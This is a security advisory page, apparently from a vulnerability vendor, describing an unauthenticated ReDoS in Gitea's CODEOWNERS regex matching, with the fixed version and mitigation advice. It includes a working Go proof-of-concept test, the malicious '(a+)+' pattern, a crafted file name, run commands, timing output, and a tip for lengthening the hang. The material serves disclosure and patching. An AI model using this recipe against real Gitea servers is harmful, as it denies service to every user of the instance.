GHSA-v96j-25gv-g2w9 is a high-severity (CVSS 7.5) CWE-284 vulnerability in code.gitea.io/gitea. O3 Security confirms whether GHSA-v96j-25gv-g2w9 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service
Real-World Exposure
code.gitea.io/giteaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
This issue has been found by a security agent and review by myself.
Gitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path.
Who can trigger it
Any registered user on the instance. The attacker needs only:
- A repository they own (created via normal signup)
- A
CODEOWNERSfile on the default branch containing malicious patterns - A pull request branch containing a file with a crafted name
No elevated permissions, no admin access, no existing repositories required.
How it is triggered
The attacker pushes a CODEOWNERS file containing repeated instances of a
catastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request
from a branch that contains a file named with a long string of repeated
characters followed by a non-matching character (e.g.
aaaaaaaaaaaaaaaaaaaaaaaaaaX). When Gitea processes the pull request, it evaluates
each CODEOWNERS rule against each changed file path — with no timeout — causing
the server to hang for the duration of the backtracking.
Impact
Every pull request creation runs this evaluation inside a database transaction. A hung evaluation holds that transaction open, tying up a database connection for the entire duration. With 11 rules in the CODEOWNERS file, a single pull request creation request takes over 30 seconds. An attacker opening multiple pull requests in parallel can exhaust the database connection pool, making the Gitea instance unresponsive to all users.
Root cause
The vulnerable regex is here:
PoC
Below is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times.
This is tested at commit 689ace1ce28fd74244b8aa335d9928cdbf6b22f9.
tests/integration/pull_redos_test.go
package integration
// TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability
// triggered via the full pull.NewPullRequest call chain.
//
// POST /api/v1/repos/{owner}/{repo}/pulls
// -> routers/api/v1/repo/pull.go:CreatePullRequest
// -> pull.NewPullRequest (services/pull/pull.go)
// -> db.WithTx <- holds DB connection for duration of hang
// -> issues_model.NewPullRequest <- inserts PR into DB
// -> PullRequestCodeOwnersReview <- evaluates CODEOWNERS
// -> rule.Rule.MatchString(changedFile) <- hangs here (catastrophic backtracking)
//
// The attacker controls both sides of the match:
// - CODEOWNERS pattern: "(a+)+" compiled as ^(a+)+$ with regexp2.None (no timeout)
// - PR changed file: "aaa...X" forces O(2^N) backtracking states
import (
"fmt"
"net/http"
"net/url"
"strings"
"testing"
"time"
auth_model "gitea.dev/models/auth"
user_model "gitea.dev/models/user"
"gitea.dev/models/unittest"
"gitea.dev/modules/git"
api "gitea.dev/modules/structs"
repo_service "gitea.dev/services/repository"
files_service "gitea.dev/services/repository/files"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestCodeOwnersReDoS_NewPullRequest(t *testing.T) {
onGiteaRun(t, func(t *testing.T, u *url.URL) {
user2 := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})
repo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{
Name: "redos-codeowners",
Readme: "Default",
AutoInit: true,
ObjectFormatName: git.Sha1ObjectFormat.Name(),
DefaultBranch: "main",
}, true)
require.NoError(t, err)
// Push malicious CODEOWNERS to the default branch.
// 11 identical rules × 1 changed file = 11 sequential MatchString calls.
// Each call takes ~2.8s (25-char late-failing input), totalling ~30s.
// ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout).
var codeowners strings.Builder
for range 11 {
codeowners.WriteString("(a+)+ @user2\n")
}
_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
OldBranch: repo.DefaultBranch,
Files: []*files_service.ChangeRepoFile{
{
Operation: "create",
TreePath: "CODEOWNERS",
ContentReader: strings.NewReader(codeowners.String()),
},
},
})
require.NoError(t, err)
// Create a PR branch containing a file whose path is a late-failing input
// for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces
// backtracking through O(2^N) states (~2.8s per rule at 25 chars).
maliciousFilename := strings.Repeat("a", 25) + "X"
_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
NewBranch: "attack",
Files: []*files_service.ChangeRepoFile{
{
Operation: "create",
TreePath: maliciousFilename,
ContentReader: strings.NewReader("x"),
},
},
})
require.NoError(t, err)
// Obtain an API token for user2 and submit the PR creation request.
// This calls pull.NewPullRequest which runs issues_model.NewPullRequest and
// PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB
// connection for the duration of the backtracking hang.
session := loginUser(t, user2.Name)
token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository)
start := time.Now()
req := NewRequestWithJSON(t, http.MethodPost,
fmt.Sprintf("/api/v1/repos/%s/%s/pulls", user2.Name, repo.Name),
&api.CreatePullRequestOption{
Title: "ReDoS PoC",
Head: "attack",
Base: repo.DefaultBranch,
},
).AddTokenAuth(token)
MakeRequest(t, req, http.StatusCreated)
elapsed := time.Since(start)
t.Logf("pull.NewPullRequest completed in %s", elapsed)
assert.Greater(t, elapsed, 25*time.Second,
"expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised")
})
}
Now run:
# 1. Build the binary (needed for git hooks during repo creation)
make build
# 2. Run the test
go test -v -run '^TestCodeOwnersReDoS_NewPullRequest$' -count=1 -timeout 120s ./tests/integration/
When the unit test starts, you should see that it takes 30 seconds with the following output:
=== TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42)
testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta
testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ setting/applications.go:36(setting.ApplicationsPost)
testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest)
testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest)
pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s
+++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714µs)
--- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s)
PASS
You can modify the "11" number in the CODEOWNERS file to manage execution speed directly:
for range 11 {
codeowners.WriteString("(a+)+ @user2\n")
}
A higher number of lines will increase the execution time.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.gitea.io/gitea | all versions | 1.26.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update code.gitea.io/gitea to 1.26.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v96j-25gv-g2w9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-v96j-25gv-g2w9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-v96j-25gv-g2w9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-v96j-25gv-g2w9 in your dependencies?
O3 detects GHSA-v96j-25gv-g2w9 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.